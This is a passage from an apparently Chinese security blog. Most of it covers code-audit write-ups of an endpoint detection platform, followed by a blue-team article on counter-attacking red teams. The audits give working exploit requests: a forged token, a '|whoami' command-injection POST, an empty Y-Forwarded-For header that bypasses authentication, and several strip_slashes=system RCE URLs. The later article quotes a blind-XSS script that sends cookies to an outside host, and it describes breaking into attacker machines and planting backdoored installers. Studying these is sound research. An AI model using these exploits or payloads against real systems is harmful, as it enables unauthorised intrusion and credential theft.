</code></pre> <p>最后进行Base64编码 : <code>eyJyYW5kb20iOiIxMjMiLCAibWQ1IjoiYWI0NzU2M2FjNmZiOWU1MTdiZTg4ODBjODdmNzc2NWYifQ==</code></p> <p>至此我们就绕过了token校验限制。</p> <h5 id="逻辑梳理">逻辑梳理</h5> <p>我们来梳理函数 <code>get_interface_data</code> 的逻辑,其通过函数 <code>get_opr</code> 反回值带入函数 <code>get_app_name</code> 获取具体代码路径,而后当HTTP请求类型为POST时获取请求正文( POST数据,如下函数 <code>get_body_data</code>,将请求正文的JSON转为数组 ),通过构建数组将数据填充进去,并返回该数组。( 简单梳理,具体请看代码 )</p> <pre><code class="language-php">/** * @fun 根据协议body中的内容来构造data中的内容 * @param array $argv 输入的参数 * @return array $params 联动设备传来的body */ function get_body_data($argv){ $ini_file = getenv("EPS_INSTALL_ROOT") . "config/tenant.conf"; if(file_exists($ini_file)){ if (0 != strlen(ldb_post_json())) { $docker_data = ldb_get_post($argv); return $docker_data; } } $params = array(); if(0 != strlen(ldb_post_json())) { $params = ldb_get_post($argv); } return $params; } </code></pre> <p>我们已经知道了函数 <code>get_interface_data</code> 的逻辑,再跟进调用其的函数 <code>ldb_execute_app</code> 即可。</p> <h4 id="ldb_execute_app-函数分析">ldb_execute_app 函数分析</h4> <p>阅读过«对某终端检测响应平台<strong>权限绕过</strong>漏洞的审计流程»该分享的读者,大致就能理解这里函数的作用了:</p> <pre><code class="language-php">/** * @func APP通用入口函数,将联动发来的信息转换成EDR通用的前后端接口 * @param array $args 输入的参数 */ function ldb_execute_app($args) { try { //构造成业务统一处理的接口 $interface_data = get_interface_data($args); // 检验请求信息是否包含注入关键字 $ignore_check = read_ignore_check_info(); if(mongo_injection_check($interface_data, $ignore_check) === TRUE) { response_linkage_dev_die_msg(ldb_get_lang(ARGV_CONTAIN_RISK), RESPONSE_ERROR); ldb_error("request argv contain mongodb risk keyword, argv=" . json_encode($interface_data)); return ; } //特殊开权限控制函数 special_auth($interface_data); //授权控制 authorize_check($interface_data); ldb_debug("interface_data is " . json_encode($interface_data)); $app = $interface_data["app_args"]["name"]; $constructor = ldb_mapreduce_invoke("get", $app); // 构建应用对象 $instance = call_user_func($constructor); $ret = call_user_func($instance-&gt;main, $instance, $interface_data); //响应出错返回相应的状态码 if ($ret) { $err_code = call_user_func($instance-&gt;res, $instance); response_linkage_dev_msg($err_code); } // 销毁应用对象 call_user_func($instance-&gt;destroy, $instance); } catch(Exception $e){ //通知联动设备 $err_msg = $e-&gt;getMessage(); response_linkage_dev_die_msg($err_msg, RESPONSE_ERROR); } } // 入口函数 $args = ldb_argv_get(); ldb_execute_app($args); </code></pre> <p><code>ldb_execute_app</code> 函数传入参数为变量 <code>$args</code>,该值通过函数 <code>ldb_argv_get</code> 获取,跟进发现就是获取的 URI 部分。</p> <pre><code class="language-php">/** * 获取命令行参数 * @return array 返回命令行参数 */ function ldb_argv_get() { if (ldb_is_cli()) { global $argv; return $argv; } $args = array($_SERVER['PHP_SELF']); return $args; } </code></pre> <h2 id="逻辑梳理与漏洞利用">逻辑梳理与漏洞利用</h2> <p>由于之前的步骤都是逆推,这里我们直接顺着推一遍流程就能理清整个思路了。</p> <p>假设在此我们访问的是 <code>/api/edr/sangforinter/v2/cssp/slog_client</code>,那就是其传入函数 <code>get_interface_data</code>,由于需要过 <code>check_token</code>,所以访问地址需为 <code>/api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=</code>。</p> <p>而后通过函数 <code>get_opr</code> 得到了 <code>exec_slog_action</code>,再根据 <code>exec_slog_action</code> 获得了具体代码路径 <code>app.web.device_linkage.process_cssp</code>,最后根据 <code>opr</code>、<code>app_name</code> 以及 <code>data</code>( 这里的data需为POST请求方式时才有 )构造数组返回,这里测试就是GET请求,最后返回数据为:</p> <pre><code class="language-php">array(2) { ["app_args"]=&gt; array(1) { ["name"]=&gt; string(35) "app.web.device_linkage.process_cssp" } ["opr"]=&gt; string(16) "exec_slog_action" } </code></pre> <p>变量 <code>$interface_data</code> 获取了函数 <code>get_interface_data</code> 的返回值,由于<code>ldb_execute_app</code> 函数代码很多,不过多赘述,有几处授权校验的函数,简单跟踪下看下注释就能了解CSSP请求不处理授权:</p> <p><img src="/images/2020-09-03/15981751022649.jpg" alt="-w855" /></p> <p><img src="/images/2020-09-03/15981750951438.jpg" alt="-w665" /></p> <p>回调调用 <code>app.web.device_linkage.process_cssp</code> 的函数 <code>main</code> 传入变量 <code>$instance</code>、<code>$interface_data</code>( 函数 <code>get_interface_data</code> 的返回值 ),那我们跟进 <code>main</code> 函数,又是回调函数调用 <code>exec_slog_action</code> 并传入变量 <code>$object</code>、<code>$params</code> ( 函数 <code>get_interface_data</code> 的返回值 )。</p> <p><img src="/images/2020-09-03/15981754820272.jpg" alt="-w542" /></p> <p>这样无法造成命令执行,我们在之前 <code>exec_slog_action 匿名函数分析</code> 中了解到其要获取 <code>$params['data']['params']</code> 带入命令执行语句中,由于我们测试的是GET请求,函数 <code>get_interface_data</code> 的返回值并没有 <code>data['params']</code> 这个key,而刚好函数 <code>get_interface_data</code> 中的变量 <code>$interface_data["data"]</code> 会获取函数 <code>get_body_data</code> 处理请求正文的JSON内容转为数组的结果,所以我们修改请求方法为POST,请求正文为:<code>{"params":"|whoami"}</code>,即可进行命令注入从而执行。</p> <pre><code class="language-php">// {"params":"|whoami"}` -&gt; array('params' =&gt; '|whoami') $interface_data["data"] = array('params' =&gt; '|whoami'); </code></pre> <p><img src="/images/2020-09-03/15982381570192.jpg" alt="-w1278" /></p> <pre><code class="language-php">POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0= HTTP/1.1 Host: 192.168.31.136 Connection: close Content-Length: 20 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: https://192.168.31.136 Referer: https://192.168.31.136/ui/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 {"params":"|whoami"} </code></pre> <h2 id="最后">最后</h2> <p>熟悉了解了整个流程之后,其实还有更多利用点可以挖掘~本文就不过多的赘述了。</p>

2020/9/3
閱讀更多

某终端检测响应平台代码审计挖掘(权限绕过)

<h1 id="某终端检测响应平台代码审计挖掘权限绕过">某终端检测响应平台代码审计挖掘(权限绕过)</h1> <h2 id="前言">前言</h2> <p>前几天收到某终端检测响应平台代码未授权RCE的漏洞情报,基本上被师傅们玩的差不多了,基于其他社群传出的源代码进行代码审计挖掘。</p> <p>本文不会对太多细节进行描述,仅做一个流程分析和梳理,文中若有不当之处还望各位师傅斧正。</p> <h2 id="审计流程">审计流程</h2> <p>其源代码的大致目录如下:</p> <pre><code>. ├── cascade ├── dbint64_to_array.php ├── dbstr_to_int64.php ├── diskio ├── get_auth.php ├── heart_aware.php ├── kill.exe ├── lang ├── ldb ├── ldb.js ├── ldb_collect.php ├── ldb_daemon.php ├── ldb_manage.php ├── ldb_mapreduce.php ├── ldb_master.php ├── ldb_rest.php ├── ldb_rfs.php ├── ldb_stream.php ├── license ├── link_log_second_convert.php ├── locks ├── manage ├── mapreduce ├── mdb ├── mdb.ini ├── mdb_console.php ├── mdb_server.php ├── misc ├── modify_detect_engine_config.php ├── mongo ├── mongo.exe ├── mongo_config ├── mongod ├── mongodump ├── mongoexport ├── mongoexport.exe ├── mongoimport ├── mongoimport.exe ├── mongorestore ├── netshare.bat ├── patch_upgrade_ipc.php ├── php-fpm-start.sh ├── php-trace ├── phptrace ├── platform ├── start.php ├── start.sh ├── start_mongo.sh ├── start_mongo_for_log.sh ├── sync_execute.php ├── timing_update.php ├── unzip ├── update_virusandavscan.php ├── web └── zip </code></pre> <p>其中<code>/web</code>为Web服务目录,文件均可通过<code>HTTP服务</code>进行访问,顾我们从该目录下的文件下手审计。</p> <h3 id="ldb_mapreduce_invoke-函数分析">ldb_mapreduce_invoke 函数分析</h3> <p>不是一把梭的0day都不叫0day,寻找能勾起兴趣的文件,发现了它(文件名带有<code>upload</code>)<code>/bin/web/divideUploader.php</code>:</p> <pre><code class="language-php">if($_SERVER['REQUEST_METHOD']=="POST"){ //超时开关打开,后台登录时间不刷新 $update = (isset($_POST['auto']) &amp;&amp; $_POST['auto'] == AUTO_FLASH_SWITCH) ? false : true; ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); ... } </code></pre> <p>访问没有做限制,只要HTTP请求类型为<code>POST</code>就进入上传功能代码逻辑流程,三元运算很简单不用看,我们来看下这段代码:</p> <pre><code class="language-php">ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); </code></pre> <p>跟进函数:<code>ldb_mapreduce_invoke</code>,文件:<code>/bin/mapreduce/core.php</code>(<em>line 19</em>):</p> <pre><code class="language-php">/* * 全局的mapreduce对象,提供所有map/reduce工作器件的注册和获取接口 */ $ldb_mapreduce = (object)array(); /* * 调用mapduce接口,变参 * @return mix 返回调用接口的返回值 */ function ldb_mapreduce_invoke() { global $ldb_mapreduce; $params = func_get_args(); if (!count($params)) { return false; } //判断参数个数,如果为0则return false; $func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } $params[0] = $ldb_mapreduce; return call_user_func($ldb_mapreduce-&gt;$func, $params); } </code></pre> <p>接收自定义参数列表:<code>$params = func_get_args();</code>( 该函数以数组形式返回,获取当前函数的所有传入参数值 ),在这就是<code>array('call_method','util.common.auth', 'app_auth_check', $update)</code></p> <p>赋值( <code>$params[0] = 'call_method'</code> ) <code>$func</code>,检查 <code>$func</code> 属性是否存在于指定的类( <code>$ldb_mapreduce</code> )中:</p> <pre><code class="language-php">$func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } </code></pre> <p>最后<code>call_user_func</code>函数回调,调用<code>$ldb_mapreduce-&gt;call_method</code>方法,继续跟进此方法( <em>line 239</em> ):</p> <pre><code class="language-php">$ldb_mapreduce-&gt;call_method = function ($params) { if (count($params) &lt; 3) { return false; } $object = array_shift($params); $id = array_shift($params); $method = array_shift($params); $object = call_user_func($object-&gt;get, array($object, $id)); if (!is_object($object) || !property_exists($object, $method) || !is_callable($object-&gt;$method)) { return false; } return call_user_func_array($object-&gt;$method, $params); }; </code></pre> <p>简单理解,这是一个匿名函数,形参 <code>$params</code>( 在这里也就表示<code>array($ldb_mapreduce, 'util.common.auth', 'app_auth_check', $update)</code> ),判断 <code>$params</code> 数组长度是否小于<code>3</code>,在这里明显不小于,所以继续跟进赋值变量,其一一对应内容为:</p> <pre><code class="language-php">$object = array_shift($params); // -&gt; $ldb_mapreduce $id = array_shift($params); // -&gt; util.common.auth $method = array_shift($params); // -&gt; app_auth_check </code></pre> <p>赋值完成之后进入回调函数:<code>$object = call_user_func($object-&gt;get, array($object, $id));</code>,调用<code>$ldb_mapreduce-&gt;get</code>传入<code>array($object, $id))</code>,接下来继续跟进<code>$ldb_mapreduce-&gt;get</code>:</p> <pre><code class="language-php">/* * 获取组件 * @param array $params 参数数组,array(对象, 名称) * @return callable 返回组件构造器,如果没有构造器返回null */ $ldb_mapreduce-&gt;get = function ($params) use(&amp;$store_root) { //ldb_info("get params: ".json_encode($params)); list($object, $id) = $params; if (!strstr($id, "@")) { $id = "$id@ldb"; } $fields = preg_split("/[\.\\\\\\/]+/", $id); if (!count($fields)) { return null; } $component = $fields[0]; //ldb_info("$component"); $id = implode("/", $fields); list($path, $base) = explode("@", $id); if (!property_exists($object, $component) || !array_key_exists($id, $object-&gt;$component)) { if ($base == "ldb") { $php = dirname(__FILE__)."/$path.php"; } else { $php = "$store_root/$base/bin/$path.php"; } if (!file_exists($php)) { return null; } if (!class_exists("Error")) { require_once($php); } else { try { require_once($php); } catch (Error $e) { ldb_die($e); } } //ldb_info("id: ".$id.",component: ".$object-&gt;$component); if (!array_key_exists($id, $object-&gt;$component)) { ldb_info("! array_key_exists"); return null; } } $components = $object-&gt;$component; return $components[$id]; }; </code></pre> <p>由于代码过长,很多可以直接在本地调试输出,大概解释下这里的意思,就是将<code>$id = 'util.common.auth';</code>处理变成路径<code>$php = dirname(__FILE__)."/$path.php";</code>,结果就是<code>/bin/mapreduce/util/common/auth.php</code></p> <p><img src="/images/2020-09-03/15979094220269.jpg" alt="-w1170" /></p> <p>接着<strong>require_once( 包含 )</strong>这个文件,最后将<code>auth.php</code>文件公开的注册接口返回:</p> <p><img src="/images/2020-09-03/15979127711439.jpg" alt="-w712" /></p> <p>至此,我们对<code>ldb_mapreduce_invoke</code>函数的分析就差不多了,最后又是一个<code>call_user_func</code>回调函数调用<code>auth.php</code>接口<code>app_auth_check</code>:</p> <pre><code class="language-php">return call_user_func_array($func, $params); </code></pre> <h3 id="app_auth_check-函数分析">app_auth_check 函数分析</h3> <p><code>app_auth_check</code>函数就是检测当前是否具备访问接口权限下,代码如下:</p> <pre><code class="language-php">$app_auth_check = function ($update=true) use(&amp;$login_authed_check, &amp;$sess_keyvalue_get, &amp;$timeout_check, &amp;$dc_session_destroy, &amp;$login_redirect, &amp;$super_ip_check){ // 自动化放开权限检查 if (ldb_auto_check()) { return true; } // 如果是后台调用app,则不进行权限检查 if (ldb_is_cli()) { return true; } //如果是通过特权IP登陆,则不需要进行权限检查 $is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } call_user_func($timeout_check, $update); // 检测是否登录 $login = call_user_func($login_authed_check); if ($login == false) { call_user_func($login_redirect); return false; } // 进行控制台登陆超时检测 /* // app权限检测 $user_auth_info = call_user_func($sess_keyvalue_get, "auth_page_info"); // 检查授权 if (isset($user_auth_info["$page_id"]["auth"])) { $auth = $user_auth_info["$page_id"]["auth"]; if ($auth === true) { return true; } } return false; */ return true; }; </code></pre> <p>逐个逻辑跟进分析即可,最后发现特权IP登陆的判断有问题:</p> <pre><code class="language-php">$is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } </code></pre> <p>跟进函数<code>super_ip_check</code>,发现这里获取的了HTTP请求头(<code>$_SERVER["HTTP_Y_FORWARDED_FOR"] = Y-Forwarded-For</code>)与<code>$super_ip</code>进行判断:</p> <pre><code class="language-php">$super_ip_check = function() use(&amp;$get_super_ip, &amp;$super_user_check){ $super_ip = call_user_func($get_super_ip); $user_addr = $_SERVER["HTTP_Y_FORWARDED_FOR"]; if($user_addr == $super_ip){ return true; } else{ return call_user_func($super_user_check); } }; </code></pre> <p>阅读以上代码知道<code>$super_ip</code>是通过回调函数调用<code>get_super_ip</code>的结果,这里还需要再跟进<code>get_super_ip</code>函数:</p> <pre><code class="language-php">$get_super_ip = function(){ $super_ip_config = ldb_ext_root()."../../dc/config/cssp_super_ip.ini"; $super_ip = ""; if(file_exists($super_ip_config)){ $super_config_data = parse_ini_file($super_ip_config, true); $super_ip = isset($super_config_data["config"]["super_ip"]) ? $super_config_data["config"]["super_ip"] : ""; } return $super_ip; }; </code></pre> <p>在这段代码中我们得知其需要获取<code>cssp_super_ip.ini</code>文件的内容赋值变量<code>$super_ip</code>再进行<code>return $super_ip</code>,但默认环境下该文件不存在的,也就是说变量<code>$super_ip</code>默认就是空的。</p> <p>那么我们只需要满足<code>$user_addr == $super_ip</code>这个条件,即可绕过这个函数(权限)检测,简而言之就是请求接口时带有请求头<code>Y-Forwarded-For:</code>即可。</p> <h2 id="漏洞利用">漏洞利用</h2> <p>继续跟进<code>divideUploader.php</code>发现没办法直接利用(限制了上传路径和后缀):</p> <p><img src="/images/2020-09-03/15979141178295.jpg" alt="-w557" /></p> <p>只能上传指定后缀到指定目录:</p> <p><img src="/images/2020-09-03/15979141887122.jpg" alt="-w304" /></p> <p>全局搜索<code>app_auth_check</code>函数发现<code>/bin/mapreduce/</code>目录下的很多接口都在最开始加了一层<code>app_auth_check</code>函数用来做权限判断,那么我们这时候就差一个接口调用的入口即可未授权调用所有接口了。</p> <p>只能在<code>/bin/web</code>可直接访问目录下寻找,发现<code>/bin/web/launch.php</code>文件,其文件注释就表明了这个文件是应用程序通用执行入口,可以通过分析的方式构建请求( 由于分析逻辑较简单这里就不带大家过一遍了,可以自自行分析 ),也可以通过前台的方式直接抓到该文件的请求:</p> <p><img src="/images/2020-09-03/15979149980794.jpg" alt="-w583" /></p> <p>POST请求传递JSON数据:</p> <pre><code class="language-json">{"opr":"dlogin","app_args":{"name":"app.web.auth.login","options":{}},"data":{"key":175643761}} </code></pre> <p>其对应关系如下</p> <pre><code>app_args.name - 对应调用的接口文件 opr - 对应调用的公共接口函数 data - 对应公共接口函数逻辑所需的参数 </code></pre> <p>这里简单翻了下<code>/bin/mapreduce/</code>目录下的一些接口,根据其判断逻辑构建请求包,这里以获取所有终端列表为例( 未授权 ):</p> <p>未加<code>Y-Forwarded-For</code>头请求,提示需要登陆:</p> <p><img src="/images/2020-09-03/15979150411784.jpg" alt="-w1038" /></p> <p>添加后权限绕过,直接可以获取数据:</p> <p><img src="/images/2020-09-03/15979151015568.jpg" alt="-w1276" /></p> <h2 id="最后">最后</h2> <p>此漏洞危害可以多接口搭配未授权下发脚本,控制所有植入Agent的服务器权限,影响版本:&lt;3.2.21</p> <p>吐槽:这套产品的代码逻辑真的太花里胡哨了,逻辑绕来绕去,阅读时可能需要一定耐心,文中省略了一些细节,但我已经尽量写的让大家能明白整个核心逻辑,感谢阅读。</p>

2020/9/3
閱讀更多

某终端检测响应平台代码审计分析

<h1 id="某终端检测响应平台代码审计分析">某终端检测响应平台代码审计分析</h1> <h2 id="前言">前言</h2> <p>2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:<code>/tool/log/c.php?strip_slashes=system&amp;host=id</code></p> <p><img src="/images/2020-09-03/15977354683614.jpg" alt="-w1120" /></p> <p>参数:<strong>host</strong>,可以修改任意的系统命令进行执行。</p> <h2 id="原理分析">原理分析</h2> <p>首先我们跟进一下<strong>/tool/log/c.php</strong>文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词:</p> <pre><code class="language-php">$_POST $_GET $_REQUEST </code></pre> <p>在代码第144行、146行分别调用了<strong>变量匿名函数</strong>,并将<code>$_REQUEST</code>作为传递参数:</p> <pre><code class="language-php">$show_form($_REQUEST); ... $main($_REQUEST); </code></pre> <p>先跟进<strong>$show_form</strong>这个匿名函数:</p> <pre><code class="language-php">$show_form = function($params) use(&amp;$strip_slashes, &amp;$show_input) { extract($params); $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; $path = isset($path) ? $strip_slashes($path) : ""; $row = isset($row) ? $strip_slashes($row) : ""; $limit = isset($limit) ? $strip_slashes($limit) : 1000; // 绘制表单 echo "&lt;pre&gt;"; echo '&lt;form id="studio" name="studio" method="post" action=""&gt;'; $show_input(array("title" =&gt; "Host ", "name" =&gt; "host", "value" =&gt; $host, "note" =&gt; " - host, e.g. 127.0.0.1")); $show_input(array("title" =&gt; "Path ", "name" =&gt; "path", "value" =&gt; $path, "note" =&gt; " - path regex, e.g. mapreduce")); $show_input(array("title" =&gt; "Row ", "name" =&gt; "row", "value" =&gt; $row, "note" =&gt; " - row regex, e.g. \s[w|e]\s")); $show_input(array("title" =&gt; "Limit", "name" =&gt; "limit", "value" =&gt; $limit, "note" =&gt; " - top n, e.g. 100")); echo '&lt;input type="submit" id="button"&gt;'; echo '&lt;/form&gt;'; echo "&lt;/pre&gt;"; }; </code></pre> <p>变量匿名函数 <strong>$show_form</strong> 具有一个形式参数 <strong>$params</strong> 在这里也就是<code>array("strip_slashes"=&gt;"system","host"=&gt;"id");</code></p> <p>接下来执行<strong>extract($params);</strong>,后进入如下代码:</p> <pre><code class="language-php">$host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; </code></pre> <p>在这个过程中就产生了漏洞,想要了解具体原因,我们需要了解<strong>extract</strong>函数的作用,该函数是根据数组的<code>key=&gt;value</code>创建变量<code>$key=value</code>(官方解释:<strong>extract — Import variables into the current symbol table from an array</strong>)</p> <p>知道其函数作用之后,我们就大致明白漏洞原因了。</p> <p>首先函数传入参数值为<code>array("strip_slashes"=&gt;"system","host"=&gt;"id");</code></p> <p>经过<strong>extract()</strong>函数后,赋值了2个变量:</p> <pre><code class="language-php">$strip_slashes = 'system'; $host = 'id'; </code></pre> <p>在第91行代码,变量<strong>$host</strong>利用三元运算重新赋值<strong>$strip_slashes($host)</strong></p> <p>而实际上其赋值内容是函数<code>system('id')</code>的返回结果,这也就造成了命令执行漏洞。</p> <h2 id="同类漏洞寻找">同类漏洞寻找</h2> <p>首先在全局文件中搜索<code>$_GET、$_POST、$_REQUEST</code>和<code>extract(</code>,其次在这些文件中使用正则寻找变量函数传递变量:<code>\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\)</code></p> <p>Linux grep寻找命令:</p> <pre><code class="language-shell">grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)" </code></pre> <p>简单分析获得了另外三处RCE:</p> <pre><code>/tool/php_cli.php?strip_slashes=system&amp;code=id /tool/ldb_cli.php?strip_slashes=system&amp;json=id /tool/mdd_sql.php?strip_slashes=system&amp;root=id </code></pre> <p>但无法真正利用,三处文件开头都有一个类似文件存活的判断,不存在代码则<strong>die</strong>退出,而默认环境上是存在:</p> <p><img src="/images/2020-09-03/15977415061102.jpg" alt="-w568" /></p> <h2 id="最后">最后</h2> <p>该套程序还有诸多漏洞未被披露出来,建议采用ACL控制访问或下线该业务,等待官方升级补丁。</p>

2020/9/3
閱讀更多

浅谈蓝队反制手段

<h1 id="浅谈蓝队反制手段">浅谈蓝队反制手段</h1> <h2 id="前言">前言</h2> <p>网络安全攻防演习在国内已经逐渐常态化,从行业、区域(省份、地市)到部级…</p> <p>2020年1月份开始到现在可以说基本上每个月都有1-3场HW,红与蓝的对抗从未停息。</p> <p>红队的攻击技巧可以无穷无尽(扫描器、社工、0day、近源…),但是对于蓝队防守来说除了演习中常规的封IP、下线业务、看日志分析流量等“纯防守”操作以外,似乎实在是没有什么其他的防御手段了。</p> <p>笔者在参与的几场攻防演习项目中担任“蓝队防守”角色,就发现了这一缺陷,似乎安全防御基础较弱的厂商再怎么充足的进行演习前准备,都只有乖乖的等待被“收割”。</p> <p>转换一个思维,化被动为主动,尝试用“攻击”思路代入“防守”中,对“红队”进行反向捕获(反制)。</p> <p>本文将总结案例和“反制”手段,文中不足之处还望各位斧正。</p> <h2 id="反制手段">反制手段</h2> <h3 id="蜜罐篇">蜜罐篇</h3> <h4 id="蜜罐设备">蜜罐设备</h4> <p>大部分厂商为了争取得到一些分数,都会采购/借用一些厂商的蜜罐设备,但蜜罐也分两类:传统、现代,两者从本质上还是有一定区别的,这里我简单说一下自己的理解。</p> <p><strong>传统蜜罐:</strong>蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的防御能力。</p> <p><strong>现代蜜罐:</strong>除了捕获分析攻击行为外,各类安全厂商在蜜罐产品中加入了“攻击者画像”这一功能作为“卖点”,而本质上攻击者画像是将第三方厂商漏洞转为画像探针,利用第三方厂商漏洞获取攻击者所在此类厂商网站业务上的个人信息,此类漏洞多半为前端类漏洞,例如:JSONP、XSS…除此之外还有网站伪造、自动投放蜜标等等众多丰富的功能。</p> <p>所以传统蜜罐厂商在这一块的被“需要”不大,而现代蜜罐厂商在这一块往往有需要性很多,就冲“攻击者画像”这一方面在演习过程中就可以为防守方加分。</p> <h4 id="蜜罐的反制">蜜罐的反制</h4> <p>现代化蜜罐都做了哪些反制的操作呢?</p> <ol> <li>可克隆相关系统页面,伪装“漏洞”系统</li> <li>互联网端投饵,一般会在Github、Gitee、Coding上投放蜜标(有可能是个单独的网站地址、也有可能是个密码本引诱中招)</li> <li>利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份(网络画像)</li> </ol> <p>这样其实一条捕获链就出现了(仅仅是举例,其实更多的是对方在做信息收集的时候探测到了此端口):</p> <p><img src="/images/2020-09-03/15972454820428.jpg" alt="-w645" /></p> <p>蜜罐的一些功能细节不过多赘述,比如利用JavaScript辨别人机、Cookie中种入ID防止切换IP之类的…如有兴趣想深入了解的朋友可以去相关厂商官网下载白皮书观看。</p> <p>注:在实战演习过程中,仍然有许多攻击者中招,蜜罐会存储身份数据,并且会回传至厂商进行存储。</p> <h3 id="场景篇">场景篇</h3> <h4 id="主动攻击攻击ip">主动攻击“攻击IP”</h4> <p>防守日常就是看流量、分析流量,其中大部分都为扫描器流量,由于一般扫描器都会部署在VPS上,因此我们可以结合<strong>流量监测平台</strong>反向扫描。</p> <p><img src="/images/2020-09-03/15972858540088.jpg" alt="" /></p> <p>导出演习期间攻击IP列表,对IP进行端口扫描,从Web打入攻击IP机器内部。</p> <p><img src="/images/2020-09-03/15972858900640.jpg" alt="" /></p> <p>发现了一堆攻击IP机器上Web服务的漏洞:SQL注入、弱口令…拿下了一堆机器,也发现了大部分都是“被控主机”,而非购买的VPS,上面也大多是一些正常业务、非法业务在运转。</p> <p><img src="/images/2020-09-03/15972860516961.jpg" alt="" /></p> <p>除此之外,我们对所拿下的主机进行信息收集,发现了一个有意思的点,大部分机器为WAMP(Windows + Apache + Mysql + PHP),而根目录都存在着一个文件<code>images.php</code>。</p> <p><img src="/images/2020-09-03/15972862041058.jpg" alt="" /></p> <p>这是一个PHP脚本后门,我们通过分析该PHP文件又拿下数十台机器,对每台机器进行日志收集,分析IP关联性…整理报告上交裁判组判定。</p> <h4 id="邮件钓鱼反制">邮件钓鱼反制</h4> <p>安全防护基础较好的厂商,一般来说除了出动0day,物理近源渗透以外,最常见的就是邮件钓鱼了,在厂商收到邮件钓鱼的情况下,我们可以采取化被动为主动的方式,假装咬钩,实际上诱导攻击者进入蜜网。</p> <pre><code>北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大。 受影响操作系统版本: | Windows 7 | Windows Server 2008 R2 | Windows Server 2008 | Windows Server 2003 | Windows XP 由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害,由总行信息科技部研究决定,先推行紧急漏洞加固补丁,确保业务网、办公网全部修补漏洞,详情请阅读加固手册。 加固补丁程序解压密码:xxxx xx信息科技部 xxxxx xxx年xx月xx日 </code></pre> <p>在某次演习期间,我们防守的客户单位就收到了钓鱼邮件,庆幸的是客户总体安全意识很强,加上有邮件沙箱的加持,并没有实际人员中招,而我们将计就计,部署一套虚假的内网环境,伪造钓鱼邮件中招假象,中招人员画像和机器环境编排:</p> <p><strong>名字:</strong>许晋 (jinxu)</p> <p><strong>身份:</strong>巡检职员</p> <p><strong>平时上机内容:</strong>看视频、打游戏、巡检</p> <p><strong>系统软件:</strong>Office三件套, 搜狗输入法, QQ, 微信, Xmind, 谷歌浏览器, Winrar, 迅雷, 百度网盘, Everything, 爱奇艺, 腾讯视频, QQ音乐, 网易云音乐, FastStone Capture….</p> <p><strong>系统环境:</strong>除了部署一些常见的系统软件,我们还要创建一系列工作文档(手工伪造、由客户提供非敏感公开数…),并在众多的工作文档中携带了我们部署的免杀后门(伪装成VPN安装包或办公软件)。</p> <p><strong>目的:</strong>点开钓鱼邮件的附件,假装中招后,让攻击者在翻当前PC机器的时候寻找到我们投下的假密码本,并结合VPN安装包,使得攻击者下载VPN安装包并进行安装,从而进行反向控制。</p> <p>其中具体细节不过多赘述,套路都一样,在多次演习中都成功的反制到了攻击队的VPS,甚至在演习中我们拿下了攻击队的终端PC…</p> <h4 id="盲打攻击反制">盲打攻击反制</h4> <p>盲打攻击算是在演习中比较不常见的了,因为其效率不高,没办法直接的直控权限,但在攻击方穷途末路的时候往往也会选择使用盲打漏洞的方式来获取权限进而深入,比较常见的就属于盲打XSS了。</p> <p><img src="/images/2020-09-03/15974215989685.jpg" alt="" /></p> <p>一般盲打XSS都具备一个数据回传接口(攻击者需要接收Cookie之类的数据),接口在JavaScript代码中是可以寻找到的,我们可以利用数据回传接口做2件事情:</p> <ol> <li>打脏数据回传给XSS平台(捣乱)</li> <li>打虚假数据回传给XSS平台(诱导)</li> </ol> <p>通常选择第二种方式更有意义,当然实在不行的情况下我们还是可以选择捣乱的…</p> <p>首先,我们获取到了XSS盲打的代码:</p> <pre><code class="language-html">'"&gt;&lt;sCRiPt sRC=https://XXXX/shX36&gt;&lt;/sCrIpT&gt; </code></pre> <p>跟进SRC属性对应值(地址),获得如下JavaScript代码:</p> <pre><code class="language-javascript">(function(){(new Image()).src='https://XXXX/xss.php?do=api&amp;id=shX36&amp;location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&amp;toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&amp;cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&amp;opener='+escape((function(){try{return (window.opener &amp;&amp; window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='https://XXXX/xss.php?do=keepsession&amp;id=shX36&amp;url='+escape(document.location)+'&amp;cookie='+escape(document.cookie)}; </code></pre> 